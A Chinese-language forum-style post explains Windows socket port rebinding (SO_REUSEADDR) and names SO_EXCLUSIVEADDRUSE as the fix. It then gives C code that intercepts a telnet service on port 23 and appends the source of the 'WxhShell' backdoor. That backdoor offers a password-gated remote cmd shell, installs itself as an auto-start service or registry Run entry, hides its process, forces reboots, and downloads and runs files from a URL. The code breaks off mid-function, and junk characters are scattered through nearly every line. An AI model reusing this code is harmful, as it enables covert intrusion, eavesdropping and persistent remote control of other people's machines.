在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
_{2Fx[m% s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Pq[0vZ_}dN (dO'_s&M]/ saddr.sin_family = AF_INET;
Rsa\V6N> aPY>fy^8D saddr.sin_addr.s_addr = htonl(INADDR_ANY);
b.%B;qB Z CQt1; bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
j-C42Pfr cc2 oFn 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
SG+i\yu$h0 nY"rqILX? 这意味着什么?意味着可以进行如下的攻击:
5.C[)`_ e8P!/x-y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
t7*H8 p.TiTFu/ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
#BT6bH08X x>8}|ou 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
hI>rtaY_ kb}]sj 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
W${0#qq ](3=7!!J 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
]BX|G`CCc hoPCbjkov 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
d)9=hp;,V ALPZc: 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
^|OxlfS UDGVq S!,E #include
F DXAe-|Q #include
qJrK?:O; #include
4fQ<A <2/ #include
Z+FJ cvYx DWORD WINAPI ClientThread(LPVOID lpParam);
".~,(* int main()
KN_3]-+B {
_@SC R% WORD wVersionRequested;
PWmFY'= DWORD ret;
arRbq!mO WSADATA wsaData;
7'CdDB6&. BOOL val;
#8rLB( SOCKADDR_IN saddr;
-=@d2LY SOCKADDR_IN scaddr;
D8G5,s-. int err;
`Z0FQ( r_ SOCKET s;
[Vc8j&:L SOCKET sc;
M;-PrJdyt int caddsize;
G[ @RZ~o4 HANDLE mt;
1F{c5 DWORD tid;
Wv8?G~> wVersionRequested = MAKEWORD( 2, 2 );
PsaKzAg? err = WSAStartup( wVersionRequested, &wsaData );
E WrIDZi if ( err != 0 ) {
)pbsvR_ printf("error!WSAStartup failed!\n");
o7;lR? return -1;
^|hlY]Ev }
T1_O~< saddr.sin_family = AF_INET;
kZ>_m&g d)1 d0ES //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
#p*D.We lK
5@qG# saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
j
4!$[h saddr.sin_port = htons(23);
41Hv)}Yd if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
GRM6H|. {
:m]H?vq] \ printf("error!socket failed!\n");
N:x--,2 return -1;
uGOED-@ }
m Q4(<,F val = TRUE;
VddHK //SO_REUSEADDR选项就是可以实现端口重绑定的
f$ 9O0,}%O if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
x{4{.s%+: {
Ql"kJ_F!br printf("error!setsockopt failed!\n");
h!=h0 return -1;
`Y O(C<r- }
%e^GfZ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
ORuC(" //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
o=J-Ju //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Kv0V`}<Yc 5C0![$W> if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
:^7>kJ5? {
jaw&[f
7 ret=GetLastError();
76H>ST@G| printf("error!bind failed!\n");
^G|*=~_ return -1;
<aztbq? }
7UIf listen(s,2);
V'hb 4}@ while(1)
&hEn3u {
v5>A1\ caddsize = sizeof(scaddr);
w=pr?jt1: //接受连接请求
n,U?]mr sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
/sfJ:KP0 if(sc!=INVALID_SOCKET)
|Dt_lQp# {
o?Aj6fNY? mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
b9-IrR4h if(mt==NULL)
Mg#yl\v {
F~q(@.b printf("Thread Creat Failed!\n");
&rG B58 break;
_f'v>"K }
G54J'*Z }
aaP_^m O CloseHandle(mt);
],_+J* }
fuzB;Ea closesocket(s);
Xu8I8nAwl WSACleanup();
Y{D%v return 0;
'IG@JL' }
W:,Wex^9n DWORD WINAPI ClientThread(LPVOID lpParam)
M@#T`aS {
J$Z=`=]t+ SOCKET ss = (SOCKET)lpParam;
H1I^Vij SOCKET sc;
Q_U.J0 unsigned char buf[4096];
sxsb)a SOCKADDR_IN saddr;
RN[I%^$" long num;
E7t;p)x DWORD val;
'C/yQvJ
DWORD ret;
,$0-I@*V //如果是隐藏端口应用的话,可以在此处加一些判断
8LbwEKl //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
1>"-!ADm saddr.sin_family = AF_INET;
nq)F$@ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
T9C_=0(hn saddr.sin_port = htons(23);
#,%7tXOLR if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Pg%9hejf3 {
ikW[lefTq printf("error!socket failed!\n");
p&h?p\IF return -1;
DsejZ& }
X*QS/\ val = 100;
1Y|a:){G if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Y3Fj3NwS {
O\6U2b~ ret = GetLastError();
fbNzRXw return -1;
6RnzT d }
q.c)>=!. if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
xWxc1tT` {
TxX =(7V ret = GetLastError();
x@t?7 o\& return -1;
_y@].G }
1z?}'&: if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
)th[fUC( {
+!/ATR%Uci printf("error!socket connect failed!\n");
qhEv6Yxfw6 closesocket(sc);
p+CUYo( closesocket(ss);
Mfj82rHg return -1;
/|IPBU 5 }
Rff F:,b while(1)
rO'DT{Yt {
!sb r!Qt //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
CMXF[X)% //如果是嗅探内容的话,可以再此处进行内容分析和记录
V
~C$| +>e //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
uM-,}7f7 num = recv(ss,buf,4096,0);
s6!6Oqh if(num>0)
xu2KEwgb send(sc,buf,num,0);
;mkkaW,D* else if(num==0)
qqrjI. break;
*l+#<5x num = recv(sc,buf,4096,0);
[9 W@<p if(num>0)
c0qp-=^&. send(ss,buf,num,0);
hF%M!otcJ- else if(num==0)
=p+y$ break;
,/42^|=Z6O }
jJy:/!i closesocket(ss);
U1[)e D` closesocket(sc);
!@xO]Jwv return 0 ;
9)Fx;GxL }
N3%X>*' [#PE'i4 "Ms;sdjg}& ==========================================================
,_2-Op rUiYR]mV 下边附上一个代码,,WXhSHELL
a.Ho>(V/4 %#HU~X: ==========================================================
. %RM8 =[6^NR( #include "stdafx.h"
ag-A}k>v ;_o]$hV| #include <stdio.h>
w!.@64- #include <string.h>
s]arNaaA #include <windows.h>
@60D@Y #include <winsock2.h>
Dw-d`8* #include <winsvc.h>
uDf<D.+5Ze #include <urlmon.h>
=BJe)!b W(, j2pU #pragma comment (lib, "Ws2_32.lib")
OQVrg2A%( #pragma comment (lib, "urlmon.lib")
8v4}h9*F"7 wPA^nZ^}9c #define MAX_USER 100 // 最大客户端连接数
x9_mlZ #define BUF_SOCK 200 // sock buffer
RBX<>* #define KEY_BUFF 255 // 输入 buffer
(eHyas %X {o=?@ $6C #define REBOOT 0 // 重启
Cf{F"o #define SHUTDOWN 1 // 关机
*rxr:y#Ve ^Q6J$"Tj #define DEF_PORT 5000 // 监听端口
ZN[<=w&(cB ys[Li.s: #define REG_LEN 16 // 注册表键长度
sX>u. #define SVC_LEN 80 // NT服务名长度
e#"h@kZP YOCEEh? // 从dll定义API
x#rgFY,TY typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
9&6j uL typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
d*(aue= typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
dG\wW@}J typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
8{ zX= !Ok(mgV$/ // wxhshell配置信息
f5jl$H. struct WSCFG {
_z\/{ int ws_port; // 监听端口
;b~ S/ char ws_passstr[REG_LEN]; // 口令
bJ^JK int ws_autoins; // 安装标记, 1=yes 0=no
n3^(y"q char ws_regname[REG_LEN]; // 注册表键名
Zt=|q$" char ws_svcname[REG_LEN]; // 服务名
Y\|#Lu>B char ws_svcdisp[SVC_LEN]; // 服务显示名
mH*ldf;J;= char ws_svcdesc[SVC_LEN]; // 服务描述信息
0[;2dc char ws_passmsg[SVC_LEN]; // 密码输入提示信息
E$8JrL int ws_downexe; // 下载执行标记, 1=yes 0=no
TP }a9-9? char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
sD|l}f char ws_filenam[SVC_LEN]; // 下载后保存的文件名
sI ,!+ JA^o/%a^ };
\Mf>X\} |s8N // default Wxhshell configuration
O-iE 0t struct WSCFG wscfg={DEF_PORT,
N& _~y| "xuhuanlingzhe",
hor7~u+ 1,
kD#T_d "Wxhshell",
:8S;34Y; "Wxhshell",
/*C!]Z>. "WxhShell Service",
E|pT6 "Wrsky Windows CmdShell Service",
#N{] "Please Input Your Password: ",
G1|1Z5r 1,
s,R:D). "
http://www.wrsky.com/wxhshell.exe",
g{&5a(W&` "Wxhshell.exe"
hs6pp/h> };
py6<QoGV
<ZT
C^=3 // 消息定义模块
C-pR$WM:HN char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
nDi^s{ char *msg_ws_prompt="\n\r? for help\n\r#>";
3!8(A/YP; char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
-$"$r ~ad char *msg_ws_ext="\n\rExit.";
_yg;5#3 char *msg_ws_end="\n\rQuit.";
|K_%]1*riC char *msg_ws_boot="\n\rReboot...";
Btxtu"]nJo char *msg_ws_poff="\n\rShutdown...";
Q>D//_TF char *msg_ws_down="\n\rSave to ";
F%<*a,m6g t$du|q( char *msg_ws_err="\n\rErr!";
cO7ii~&%! char *msg_ws_ok="\n\rOK!";
$M)SsD~ A:ts_* char ExeFile[MAX_PATH];
]7}!3 m int nUser = 0;
el`?:dY H HANDLE handles[MAX_USER];
L9O;K$[s int OsIsNt;
B!pz0K*uG 9vP;i= fr SERVICE_STATUS serviceStatus;
0?$|F0U"J SERVICE_STATUS_HANDLE hServiceStatusHandle;
8OZasf *-PjcF}Y // 函数声明
mH\zSk int Install(void);
x?o#}:S int Uninstall(void);
Soq#cl'll- int DownloadFile(char *sURL, SOCKET wsh);
)Mdddz4 int Boot(int flag);
~(v5p"]dj void HideProc(void);
5H.~pc2y int GetOsVer(void);
5@+?{Cl int Wxhshell(SOCKET wsl);
ViiJDYT>E< void TalkWithClient(void *cs);
rl7up int CmdShell(SOCKET sock);
MoN0w.V int StartFromService(void);
|P]W#~Y- int StartWxhshell(LPSTR lpCmdLine);
_!1LV[x!s m6[}KkW VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
|hxiARr4 VOID WINAPI NTServiceHandler( DWORD fdwControl );
F$\Da)Y i<F7/p "- // 数据结构和表定义
Qu[QcB{ro- SERVICE_TABLE_ENTRY DispatchTable[] =
by'KJxl[ {
vN^.MR+< {wscfg.ws_svcname, NTServiceMain},
2c]"*Pb {NULL, NULL}
N<i5X.X };
2|^@=.4\ H;4QuB'^ // 自我安装
:pdX int Install(void)
BeLD`4K {
-y|J_;EG char svExeFile[MAX_PATH];
#?w07/~L HKEY key;
:wS&3:h strcpy(svExeFile,ExeFile);
$,@}%NlHc is8i_FoD,n // 如果是win9x系统,修改注册表设为自启动
GGEM&0* if(!OsIsNt) {
xx!8cvD4? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
AMjr[!44 @ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
YA$YT8iMe RegCloseKey(key);
R ?iCJ5 m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
*"WP*A\1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
A]!0Z:{h% RegCloseKey(key);
K1hkOj;S return 0;
A
.&c>{B7 }
3h:~NL }
boEQI=!j\+ }
*|Vf1R] else {
7*uN[g#p ? Vd~ // 如果是NT以上系统,安装为系统服务
neM.M)0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
FzX ;~CA if (schSCManager!=0)
syBpF:`-W {
G^t)^iI"' SC_HANDLE schService = CreateService
T"{~mQ* (
7JBs7LG schSCManager,
bUS:c
2" wscfg.ws_svcname,
XiTi3vCe wscfg.ws_svcdisp,
`{!A1xKZ SERVICE_ALL_ACCESS,
e-y$&[
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
tV(iC~/ SERVICE_AUTO_START,
76rv$z{g^ SERVICE_ERROR_NORMAL,
x
t-s"A svExeFile,
(G>su NULL,
3%'`^<-V NULL,
\)/qCeiZ NULL,
.)[E`a NULL,
a%Q`R;W NULL
Pg T3E );
b\ED<' if (schService!=0)
9f0`HvHC {
T+Re1sPr? CloseServiceHandle(schService);
0]7jb_n1 CloseServiceHandle(schSCManager);
P?V+<c{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
N9 M}H# strcat(svExeFile,wscfg.ws_svcname);
-lJ|x>PG' if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
[Ix6ArY RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
\;Q(o$5< RegCloseKey(key);
n R, QG8 return 0;
=? !FO'zt" }
~$6` e:n }
.\oW@2,RA9 CloseServiceHandle(schSCManager);
y`zdI_!7 }
Ne+Rs+~4 }
aQmS'{d?^ X'$H'[8;C return 1;
} 9zi5o8 }
9ad)=3A&L E|;>!MMA; // 自我卸载
uxxk&+M int Uninstall(void)
=)+^ y}xb {
_qPKdGoM HKEY key;
{D8opepO) W^3 Jg2gE if(!OsIsNt) {
u|wl;+. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
bJMsB|r RegDeleteValue(key,wscfg.ws_regname);
).jQ+XE'> RegCloseKey(key);
$MDmY4\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
+Iuu8t RegDeleteValue(key,wscfg.ws_regname);
vh.8m$, RegCloseKey(key);
l\L71|3" g return 0;
g0B-<>E }
$A~aNI }
u^SInanw }
dn'|~zf. else {
rEp\ld 02EX_tt), SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
)kjQ W&)g if (schSCManager!=0)
'['%b {
kO`!!M[Oo SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
?;Sg,.J if (schService!=0)
"\Dqtr w {
pWE(?d_M{G if(DeleteService(schService)!=0) {
F\&wFA'J CloseServiceHandle(schService);
XPrnQJ CloseServiceHandle(schSCManager);
, SUx!o return 0;
ZL0Vx6Ph }
:-59~8& CloseServiceHandle(schService);
U4dfO= }
?i0u)<H CloseServiceHandle(schSCManager);
dCn9]cj/ }
Y/UvNb<lK }
yT<"?S>D N:64Gko"K return 1;
< (9
BO & }
SD~4CtlfI &to~#.qc // 从指定url下载文件
aW_Y int DownloadFile(char *sURL, SOCKET wsh)
lUnC+w#[ {
T.{]t6t$U
HRESULT hr;
+:C.G[+ char seps[]= "/";
*g'%5i1ed char *token;
1D"EF char *file;
r;waT@&C char myURL[MAX_PATH];
Y)S
f; char myFILE[MAX_PATH];
GVu-<R 5}9rpN{y strcpy(myURL,sURL);
ey>tUmt6? token=strtok(myURL,seps);
G&N),wsNZK while(token!=NULL)
ZD?LsD 3 {
Rh@UxNy\, file=token;
k^UrFl token=strtok(NULL,seps);
GXTjK! }
sU^K5oo v~!_DD
au GetCurrentDirectory(MAX_PATH,myFILE);
>O1u![9K|w strcat(myFILE, "\\");
DQN"85AIZ strcat(myFILE, file);
(iO/@iw send(wsh,myFILE,strlen(myFILE),0);
2-duzc send(wsh,"...",3,0);
XPi5E" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Ao9=TC'v$' if(hr==S_OK)
`GooSX return 0;
t.XuH# else
n3hlo@gYW return 1;
;ejtP #$ / Kj;% }
F
B&l|#e ot^$/(W // 系统电源模块
Xr|e%]!** int Boot(int flag)
u&Xn#fh {
3)dtl!VMW[ HANDLE hToken;
A LR`z~1 TOKEN_PRIVILEGES tkp;
G'_5UP! A$J?- if(OsIsNt) {
OimqP OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
HqA~q LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
H#I%6k*\a tkp.PrivilegeCount = 1;
Z#_VxA>]v tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Z9I
?j1K|! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
J#k.!]r,Y if(flag==REBOOT) {
IqjH if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
=/^{Pn return 0;
MB(l*ju0 }
+ gP 4MP else {
nc>Ae`"( if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
v0~*?m4 return 0;
@arMg2"o }
n@| &jh }
k3B]u.Lo else {
*}N J if(flag==REBOOT) {
8` f=Eh if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
x5nw/''[2 return 0;
{
BDUl3T }
vZ2/>}!Z= else {
}^3ICwzm if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
=5X(RGK return 0;
6
g`Y~ii }
ejPK-jxCa/ }
km#Rh^
3SWO_ return 1;
b!-F!Lq/+0 }
}c0EGoU}? M8'
GbF=1 // win9x进程隐藏模块
n g?kl|VG void HideProc(void)
<gc\,P<ru {
p4'Qki8Hd ZU-vZD> HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
,~,{$\p if ( hKernel != NULL )
~$3X>?Q {
jZvQMW pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
ZI'Mr:z4 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
^(8(z@y FreeLibrary(hKernel);
Z39I*-6F9W }
.V:H~ (VzabO return;
v"dj%75O?e }
rG|*74Q] g` QbJ61a // 获取操作系统版本
QX j4cg int GetOsVer(void)
N [iv.B {
hhVyz{u OSVERSIONINFO winfo;
~ST7@-D0 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
5-ju5z?= GetVersionEx(&winfo);
hh!^^emo if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
f;;(Q-. return 1;
'y?(s+ else
MH>CCT return 0;
FM3DJ?\L- }
hKtc G3&l|@5 // 客户端句柄模块
qdFYf/y int Wxhshell(SOCKET wsl)
:/kz*X=< {
9)a:8/Y SOCKET wsh;
"Oh(&N:U struct sockaddr_in client;
Y!6,ty' DWORD myID;
4ISZyO= %y/8i%@6 while(nUser<MAX_USER)
XD8MF)$9 {
OI9V'W$ int nSize=sizeof(client);
q>T7};5m2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Ifm|_ if(wsh==INVALID_SOCKET) return 1;
zd+_
BPT 6Y|jK<n?H handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
y/ #{pyJ if(handles[nUser]==0)
Dwq }O closesocket(wsh);
8jE6zS}m else
"`Q.z~ nUser++;
(bIg6_U7\ }
+K3SAGm WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
{o?+T);Z Kzw)Q return 0;
EPQ~V }
BTwLx-p9t 5y. n // 关闭 socket
3%<Uq%pJ void CloseIt(SOCKET wsh)
/ ;U {
s^X(G!V{c closesocket(wsh);
X`d d"8% nUser--;
p:9)}y ExitThread(0);
Mt@P}4 }
b5hJaXJN qYHAXc}$ // 客户端请求句柄
Y~qv 0O6K void TalkWithClient(void *cs)
I<q=lK {
v(vLk\K7 Im;8Abf SOCKET wsh=(SOCKET)cs;
18|i{fE; char pwd[SVC_LEN];
N`tBDl"ld char cmd[KEY_BUFF];
fX,L;Se" char chr[1];
=#@eDm% int i,j;
}t tiL gWo `i while (nUser < MAX_USER) {
I*/?*p/I 1nv#Ehorg if(wscfg.ws_passstr) {
lF]cUp#< if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
3@ a //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
B5>1T[T'- //ZeroMemory(pwd,KEY_BUFF);
(vCMff/ Y1 i=0;
%[:\ZwT,- while(i<SVC_LEN) {
Lw
7,[?,Z ,?"cKdiZ // 设置超时
D-7PO3F:F fd_set FdRead;
2\flTO2Ny struct timeval TimeOut;
tn-_3C FD_ZERO(&FdRead);
)$#]h]ac FD_SET(wsh,&FdRead);
7tOOruiC TimeOut.tv_sec=8;
W+[XNIg5 TimeOut.tv_usec=0;
?)$+W+vK int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
z~TG~_s if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
{Mc^[}9 sd;J(<Ofh if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
NZ(c>r6 pwd
=chr[0]; 4\)"Ih
if(chr[0]==0xd || chr[0]==0xa) { E5d?toZ,8"
pwd=0; 0h~Iua5
break; mX78Av.z!
} ,wJ#0?
i++; 8r^~`rL
} $d1+ d;Mn
}]1=?:tX%
// 如果是非法用户,关闭 socket c+PT"/3
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `=A*ei5
} Nf0'>`/
+.N3kH
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z4f\0uQ
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >[ r
TUn;
2c>e Mfa
while(1) { -!uut7Z|
aRBTuLa)fo
ZeroMemory(cmd,KEY_BUFF); {@1C,8n;
F+A"-k_\T#
// 自动支持客户端 telnet标准 }."3&u't
j=0; Ue:'55
while(j<KEY_BUFF) { %G6ml,
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (pBOv:6
cmd[j]=chr[0]; q\Cg2[nn2
if(chr[0]==0xa || chr[0]==0xd) { 0be1aY;m&
cmd[j]=0; bWzv7#dd=
break; t^0^He$Ot
}
kt8P\/~*i
j++; xaO9?{O
} -%]O-'
zk8 o[4
// 下载文件 0HUSN_3F
if(strstr(cmd,"http://")) { (~F{c0\C
send(wsh,msg_ws_down,strlen(msg_ws_down),0); H=E`4E#k
if(DownloadFile(cmd,wsh)) ;SAurG$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); W:q79u yX
else >AsD6]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QFOmnbJg
} ^|^ek
else { mA|&K8H
m,nZrap
switch(cmd[0]) { >jEn>H?
2Y_ `&
// 帮助 aEr<(x!|"
case '?': { 74YMFI
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zoXCMBg[
break; fUQuEh5_
} "p>$^
// 安装 jR-`ee}y2
case 'i': { KK;3<kX
if(Install()) 4 4bTx y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;cQhs7m(9
else Le3H!9lbc
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,bT|:T@ny
break; R `}C/'Ty
} 4DhGp
// 卸载 `Y HnL4
case 'r': { 7.7aHt0
if(Uninstall()) ?f@g1jJP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :
utY4
else ? yL3XB>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8MIn~
break; u6hDjN
} Leg)q7n
// 显示 wxhshell 所在路径 HgH\2QL3&
case 'p': { W?y7mw_S
char svExeFile[MAX_PATH]; cd_\?7
strcpy(svExeFile,"\n\r"); Z)
nB
strcat(svExeFile,ExeFile); P#^-{;Bu
send(wsh,svExeFile,strlen(svExeFile),0); k'O^HMAn!
break; 0,1x-
yD
} "Zk# bQ2j
// 重启 7Mx F?
I
case 'b': { ?`9XFE~a!
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~Mk{2;x
if(Boot(REBOOT)) 71euRIW'5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ug?gVK
else { E?\&OeAkO
closesocket(wsh);
Xe ;Eu
ExitThread(0); 2xPkQOj3
} ;/ wl.'GA
break; OS$}ej\
} ie<zc+*rW
// 关机 Sq#AnD6To
case 'd': { 9jwcO)p^
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G
=`-w
if(Boot(SHUTDOWN)) VO"/cG;]*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }kJfTsFS
else { o%EzK;Df
closesocket(wsh); p\;\hHai
ExitThread(0); l=|>9,La
} \[\4= !v
break; X`/GiYTu
} '=s{9lxn^
// 获取shell #%Hk-a=>)#
case 's': { _v/w
,z
CmdShell(wsh); C~e&J&zh
closesocket(wsh); 3(2WO^zX {
ExitThread(0); J&P{7a
break; -FOn%7r#Y
} mS$9D{
// 退出 `!Z0;qk
case 'x': { (M0"I1g|w
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :k; c|MW
CloseIt(wsh); +N6IdDN3
break; lF[m*}l
} }l>\D~:M
// 离开 [c^!;YBp)
case 'q': { <mrvuWg0
send(wsh,msg_ws_end,strlen(msg_ws_end),0); %IA1Y>`
closesocket(wsh); 7$"A2x
WSACleanup(); r|MBkpcvp
exit(1); Fe[)-_%G
break; qw?Wi%t(x8
} T}}T`Ce
} 1 5heLnei
} `w6*(t:T
^ABtg#
// 提示信息 |D% O`[k+
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @=7[ KM b
} /IxoS
} Z bW!c1s{
bI-uF8"
return; YujR}=B!/
} aZ,j1j0p
<~ Dq8If
// shell模块句柄 A=Y A #0
int CmdShell(SOCKET sock) `K7UWtp
{ sSLVR^
STARTUPINFO si; 8aqH;|fG}
ZeroMemory(&si,sizeof(si)); } =p e;l
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @*16agGg
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \y(ZeNs
PROCESS_INFORMATION ProcessInfo; Ia[4P8Z
char cmdline[]="cmd"; erQQ_
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bhl9:`s
return 0; "X(9.6$_
} hS 9^Bi
z"D0Th`S6
// 自身启动模式 A-eRL`
int StartFromService(void) ,/YTW@N
{ h ^.jK2I
typedef struct w)Xn MyD(P
{ N!//m?}
DWORD ExitStatus; aI\:7
DWORD PebBaseAddress; Ihd{tmr<
